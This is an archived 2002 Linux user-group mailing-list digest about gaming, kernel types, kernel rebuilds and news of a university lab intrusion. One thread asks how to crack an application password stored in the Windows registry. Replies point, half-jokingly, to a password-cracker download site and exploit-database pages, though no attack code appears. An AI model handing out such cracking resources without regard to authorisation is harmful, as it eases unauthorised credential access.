> -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 2:46 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. > drv. to play the newer > games, then i would say YES!!! linux is great for > playing games, Wolfenstein > plays better for me in linux than is does in > Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 > and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in > Linux better than Windoze, > but there just isnt enough titles, and now with Loki > gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt > wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on > older hardware than W*. > > Is there a website that lists games available to > linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't > > post to the list quickly and you use Netscape to > write mail. > > > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml > if your mail doesn't post to the list quickly and > you use Netscape to write mail. > > PLUG-discuss mailing list - > PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:51:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:51:11 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> You can check out x.mame.net for an arcade emulator. There are many different kinds out there. software.linux.com has links to many other sites also. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 3:18 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Sundar) Date: Tue, 18 Jun 2002 15:55:33 -0700 Subject: Ethical hacking/cracking Message-ID: <3D0FBA65.9060506@esaravana.com> Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:48:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Tue, 18 Jun 2002 15:48:20 -0700 (MST) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: I can vouch for Wine-X. It's money well spent. I have Diablo II and Jedi Knight II working flawlessly under it. Those are really the only windows-based games I play - and now I don't need windows. As for linux-port games, get on eBay. You can find most of the loki titles (simcity3k, heroes3, myth2, etc) for $9 - $20. I own Quake3, Solider Of Fortune, Descent3, Heavy Metal, Myth2 and Heroes 3. All of them run great on an Athlon 800 w/GeForce256 or better in my case. Now I just need time to play them... On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:03:18 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:03:18 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <200206181603.18823.zen2now@qwest.net> yeah thats the one! i knew one of you guys would know the name. it was great, i spent many hours playing defender with xmame. the plus here was that i still had all my quarters in my pocket. hehe :~D slr On Tuesday 18 June 2002 03:51 pm, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight > sims and racing sims. but i use to play with this Arcade emulator that was > great, played all the old Arcade games that i enjoyed playing as a kid. i > cant remember the name of it, but if you look hard enough i know you can > find an arcade emulator for Linux. but linux comes with many 2D non-violent > games, what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:29:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 16:29:36 -0700 Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> References: <3D0FBA65.9060506@esaravana.com> Message-ID: <200206181629.36140.zen2now@qwest.net> i didnt say this! but check out http://www.blackcode.com/, they several password crackers on their site. the only thing is you will have to register to download files. remember i didnt send you there. :~D slr On Tuesday 18 June 2002 03:55 pm, Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the password key stored in > Windows NT registry by an application? Application in question is 'Funk > Software Proxy' and it seems to have stored the password in binary form. > > (The guy who ghost imaged the system left the company and now we have to > connect to them.) > > Any help is appreciated > > Sundar > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:50:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: <20020618235047.934.qmail@web10601.mail.yahoo.com> Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:49:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 16:49:29 -0700 (PDT) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: <20020618234929.53740.qmail@web13405.mail.yahoo.com> --- Sundar wrote: > Hello, > > Would you guys know of hacking/cracking the > password key stored in > Windows NT registry by an application? Application > in question is 'Funk > Software Proxy' and it seems to have stored the > password in binary form. > > (The guy who ghost imaged the system left the > company and now we have to > connect to them.) > > Any help is appreciated > > Sundar Hey Sundar, You might want to have a look here if you have not already and see if there are any refrences to the key? HKEY_LOCAL_MACHINE\Software\Funk Software, Inc.\ Sorry I can't help more but I'm just checking some e-mail before class and I have to go. __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:55:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 19:55:04 -0400 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' Message-ID: Modular. Red Hat is modular as most distros are. Alan On Tue, 18 Jun 2002 16:50:47 -0700 (PDT) Alpha Zenon Sanchez wrote: Hello Linux Users: If I installed a Redhat 7.2 OS on my computer from a CD, but so far have not configured anything and added cards with Redhat's 'plug and play' ability, what type of Kernal do I have? Would it be monolithic or modular? I need to know this becuase I'm installing a NIC card on my system. I haven't rebuilt or compiled my kernel yet. The instructions have versions for both a monolithic and a modular kernel. My NIC card is a Netgear FA310TX PCI. Thanks in Advance ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 23:57:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bill Warner) Date: 18 Jun 2002 16:57:42 -0700 Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> References: <2AAC72149C827944B96C854ABD0BCAFF1A4DF1@azmscorp01.corp.azms> Message-ID: <1024444662.12366.8.camel@wwarner> Or my favorite port of Mame. I have actually built a complete arcade cabinet http://advancemame.sourceforge.net/ I have actually built a complete arcade cabinet for mame with real arcade controllers and all. Bill Warner On Tue, 2002-06-18 at 15:51, Larry Lauer wrote: > You can check out x.mame.net for an arcade emulator. There are many > different kinds out there. software.linux.com has links to many other > sites also. > > Larry > > -----Original Message----- > From: slr [mailto:zen2now@qwest.net] > Sent: Tuesday, June 18, 2002 3:18 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Does Linux do games well? > > > oh, well that i am not sure about. i'm a 3D shooter guy, and i like > flight > sims and racing sims. but i use to play with this Arcade emulator that > was > great, played all the old Arcade games that i enjoyed playing as a kid. > i > cant remember the name of it, but if you look hard enough i know you can > find > an arcade emulator for Linux. but linux comes with many 2D non-violent > games, > what titles are you wanting to run? > > slr > > On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > > I was thinking of those old simple 2D games that were basically > nonviolent. > > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail > doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Bill Warner Unix/Linux Admin. Direct Alliance Corporation Company required stuff: Contents are Direct Alliance Corporation Confidential This message is for the designated recipient(s) only and contains Direct Alliance Corporation privileged and confidential information. If you have received it in error, please notify the sender immediately and delete the original. Any other use of this email is prohibited. From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:12:12 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dan Lund) Date: Tue, 18 Jun 2002 17:12:12 -0700 Subject: Question: What's The difference between a 'Modular Kernel and a Monolithic Kernel?' In-Reply-To: <20020618235047.934.qmail@web10601.mail.yahoo.com> References: <20020618235047.934.qmail@web10601.mail.yahoo.com> Message-ID: <200206181712.12960.arkane_@yahoo.com> Redhat 7.2 the last I checked loaded like almost everything as modules, so it would be a modularized kernel. On Tuesday 18 June 2002 04:50 pm, Alpha Zenon Sanchez wrote: > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 00:48:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Tue, 18 Jun 2002 17:48:49 -0700 (MST) Subject: Ethical hacking/cracking In-Reply-To: <3D0FBA65.9060506@esaravana.com> Message-ID: These might be helpful? (After skimming this link, I'd scrap it and use something secure.) http://pulhas.org/xploitsdb/Other/5249.html http://neworder.box.sk/showme.php3?id=6416 http://www.securiteam.com/securitynews/5RP022A6UM.html squid works great with minimal tweeking on a mostly default RH7.3 server install. The tweeks needed are to allow minimal access to the proxy. Installation default is no access. ----------------------------------- On Tue, 18 Jun 2002, Sundar wrote: Hello, Would you guys know of hacking/cracking the password key stored in Windows NT registry by an application? Application in question is 'Funk Software Proxy' and it seems to have stored the password in binary form. (The guy who ghost imaged the system left the company and now we have to connect to them.) Any help is appreciated Sundar ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:06:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (technomage) Date: Tue, 18 Jun 2002 18:06:38 -0700 Subject: ASU computer lab hacked Message-ID: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> well, if anyone didn't catch the 5 PM news, it appears that the ASU computer lab and some of the administration machines were hacked into by someone representing the russian mafia (thats what they said on the news anyway). make take a look for it on www.phoenix360.com or any of the other news statiosn that have web pages. Technomage p. incidently, those machines were apples running a pre-OSX OS -- I will not be pushed, filed, stamped, indexed, briefed, debriefed, or numbered! My life is my own - No. 6 From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 01:32:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert A. Klahn) Date: Wed, 19 Jun 2002 01:32:45 +0000 Subject: PLUG-discuss digest, Vol 1 #2374 - 13 msgs Message-ID: <20020619013246.066F56DA6C@www.fastmail.fm> Unless you have done something very unusual, you have a "Modular" Kernel. One way to check is to run, as root, the "lsmod" command. If you get many lines, you have a "Modular" Kernel. If you dont, or get an error, its likely "Monolithic". Bob. > Message: 7 > Date: Tue, 18 Jun 2002 16:50:47 -0700 (PDT) > From: Alpha Zenon Sanchez > Subject: Question: What's The difference between a 'Modular Kernel and > a Monolithic Kernel?' > To: plug-discuss@lists.plug.phoenix.az.us > Reply-To: plug-discuss@lists.plug.phoenix.az.us > > Hello Linux Users: > > If I installed a Redhat 7.2 OS on my computer from a > CD, but so far have not configured anything and added > cards with Redhat's 'plug and play' ability, what type > of Kernal do I have? Would it be monolithic or > modular? I need to know this becuase I'm installing > a NIC card on my system. I haven't rebuilt or compiled > my kernel yet. > > The instructions have versions for both a monolithic > and a modular kernel. > > My NIC card is a Netgear FA310TX PCI. > Thanks in Advance > > ===== > Thanks, > Alpha Zenon Sanchez > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ----------------------------------------------------------- Robert A. Klahn robert@kint.org AIM: rklahn "Hope has two beautiful daughters: Anger and Courage. Anger at the way things are, and Courage to struggle to create things as they should be." -- St. Augustine From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:10:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Nathan England) Date: Tue, 18 Jun 2002 19:10:55 -0700 Subject: Defragmentation Message-ID: <200206181911.00116.plug@the-arcanum.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Has anyone had any luck with any defragmentation programs for linux? I found on, but can't get it to compile. ftp://metalab.unc.edu/pub/Linux/system/filesystems/ thanks for the help - -- Nathan England plug@the-arcanum.org jabber id: linuxjunkie@earth.jabber.li "A free society is one where it is safe to be unpopular." -- Adlai Stevenson -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9D+gzQ7yNnsYcupwRAm/aAJ99/qatMITClAQAs6GcXk3EHTJOggCfRGUM I6LfBB9U4dst8vQ2s50wS0M= =G1mp -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:28:47 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 18 Jun 2002 22:28:47 -0400 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> Message-ID: <3D0FEC5F.BCD94975@georgetoft.com> For those of us whose Linux gaming experience is limited to doom and decent, could you spell out the games names, ie, UT and TO? George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- slr wrote: > > linuxgames.com is a great link for linux games > > if you have the 3D hardware and the most recent vid. drv. to play the newer > games, then i would say YES!!! linux is great for playing games, Wolfenstein > plays better for me in linux than is does in Windoze, as does Soldier of > Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play > great in Linux. Actually i enjoy playing games in Linux better than Windoze, > but there just isnt enough titles, and now with Loki gone the future is > somewhat dim. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 02:29:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (bob smith) Date: Tue, 18 Jun 2002 19:29:27 -0700 (PDT) Subject: ASU computer lab hacked In-Reply-To: <20020619010638.NJPN1378.fed1mtao03.cox.net@there> Message-ID: <20020619022927.75969.qmail@web13405.mail.yahoo.com> --- technomage wrote: > well, > if anyone didn't catch the 5 PM news, it appears > that the ASU computer lab > and some of the administration machines were hacked > into by someone > representing the russian mafia (thats what they said > on the news anyway). > > make take a look for it on www.phoenix360.com or any > of the other news > statiosn that have web pages. > > Technomage > > p. incidently, those machines were apples running a > pre-OSX OS Pre-OSX? OS 9? Any word on what was running on the machines that allowed whoever it was to gain access? I didn't think any software bundled by apple pre-OSX had a remote exploit that could be used? __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:37:30 2002 From: plug-discuss@lists.plug.phoenix.az.us (Patrick Fleming EA) Date: Tue, 18 Jun 2002 20:37:30 -0700 (MST) Subject: ASU computer lab hacked In-Reply-To: <20020619022927.75969.qmail@web13405.mail.yahoo.com> Message-ID: My understanding was that key logging software was installed locally. On Tue, 18 Jun 2002, bob smith wrote: > > --- technomage wrote: > > well, > > if anyone didn't catch the 5 PM news, it appears > > that the ASU computer lab > > and some of the administration machines were hacked > > into by someone > > representing the russian mafia (thats what they said > > on the news anyway). > > > > make take a look for it on www.phoenix360.com or any > > of the other news > > statiosn that have web pages. > > > > Technomage > > > > p. incidently, those machines were apples running a > > pre-OSX OS > > Pre-OSX? OS 9? Any word on what was running on the > machines that allowed whoever it was to gain access? I > didn't think any software bundled by apple pre-OSX had > a remote exploit that could be used? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Patrick Fleming, EA http://myhdvest.com/patrickfleming Licensed to represent taxpayers before Exam, Appeals, and Conference divisions of the IRS From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 03:47:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Phillips) Date: Tue, 18 Jun 2002 23:47:16 -0400 Subject: Need Help with Redhat 7.3 Install Message-ID: <20020619034718.XVQC8234.lakemtao06.cox.net@smtp.central.cox.net> Kevin, Thanks again for your help and for documenting this process! I should add one note to your instructions because, in my case, the first time I followed them the kernel build failed. I used the i586.config file instead of the i386, so that may be the difference. I made two changes to the i586.config file: 1. I changed CPU type to Pentium MMX (which is the processor in my Dell Inspiron 3000, and I am hoping for some improvement in performance - about 50% - 75% based on some Intel propaganda I read on the web for MMX) 2. I removed the pcmcia stuff as you described below. I think the build failed because one of the defaults in the i586.config file included pcmcia support for the QuickNet Internet LineJack/PhoneJack card. The error message (oops - I forgot to write it down) said the build failed due to some missing pcmcia related files. You can find this (bizarre??) card under Telephony Support. Maybe it was not included in the i386.config file?? I am rebuilding the kernel again without pcmcia support for this card, and it is still going strong (5 hours and counting). I will let you know if I find any other problems. Thanks again! Mark > > From: "Kevin Brown" > Date: 2002/06/17 Mon PM 07:12:36 EDT > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Need Help with Redhat 7.3 Install > > I gave Mark a call this morning, but thought I'd send this out to the list since > several people have had this issue with RH7.3 and PCMCIA support on laptops. > > To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm > package from the system. > > rpm -e kernel-pcmcia-cs > > Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from > kernel.org > wget > ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm > wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz > wget > http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz > cd /usr/src > tar -xvzf ~/linux-2.4.18.tar.gz > rpm -ivh ~/kernel-2.4.18.src.rpm > cd /usr/src/redhat/SOURCES > cp kernel-config- /usr/src/linux/.config > > Alter the config of the kernel: > cd /usr/src/linux > make menuconfig > > Remove PCMCIA Support > General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support > hit n to remove it, then exit config and save the changes > > make dep && make clean && make bzImage && make modules && make modules_install > > Wait for it to finish. On my P150 this took most of the night to do. > > cd /usr/src/linux/arch/i386/boot > cp bzImage /boot/vmlinuz-2.4.18 > > Assuming you are using grub, edit /etc/grub.conf > Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo > > Easy way to edit both is to copy the config that is currently booting and rename > kernel it is loading. > > Reboot the system and select the recently compiled kernel. > > Now rebuild PCMCIA support. > > cd /usr/src > tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz > cd pcmcia-cs-3.1.34 > make config && make all && make install > > You should be able to accept the defaults during make config. Once done test by > starting it up. > > /etc/rc.d/init.d/pcmcia start > > Hope this helps. > > > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > > > Thanks! > > > > > > > > Mark Phillips > > Phillips Marketing, Inc. > > 480.945.0798 > > 480.945.9197 fax > > mark@phillipsmarketing.biz > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > Mark Phillips Phillips Marketing, Inc. 480.945.0798 480.945.9197 fax mark@phillipsmarketing.biz From plug-discuss@lists.plug.phoenix.az.us Wed Jun 19 04:32:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (plug-discuss@lists.plug.phoenix.az.us) Date: Tue, 18 Jun 2002 21:32:10 -0700 Subject: Does Linux do games well? References: <200206181445.38509.zen2now@qwest.net> <3D0FEC5F.BCD94975@georgetoft.com> Message-ID: <3D10094A.7030208@netscape.net> --------------070703010906020708070004 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great! Map, skin, and mod downloads are alot quicker on Linux than on W*. George Toft wrote: >For those of us whose Linux gaming experience is limited to doom and >decent, could you spell out the games names, ie, UT and TO? > >George > > >-- >If you feel you have received a virus from me, please read > http://www.georgetoft.com/virus.html >because it wasn't me! >-- > > >slr wrote: > > >>linuxgames.com is a great link for linux games >> >>if you have the 3D hardware and the most recent vid. drv. to play the newer >>games, then i would say YES!!! linux is great for playing games, Wolfenstein >>plays better for me in linux than is does in Windoze, as does Soldier of >>Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play >>great in Linux. Actually i enjoy playing games in Linux better than Windoze, >>but there just isnt enough titles, and now with Loki gone the future is >>somewhat dim. >> >>slr >> >>On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: >> >> >>>How good is linux for games? >>> >>>Linux has a rep for running more efficiently on older hardware than W*. >>>Is there a website that lists games available to linux and minimal hardware >>>needed for them? >>> >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >> >________________________________________________ >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > --------------070703010906020708070004 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit UT is Unreal Tournament and it runs great!  Map, skin, and mod downloads are alot quicker on Linux than on W*.
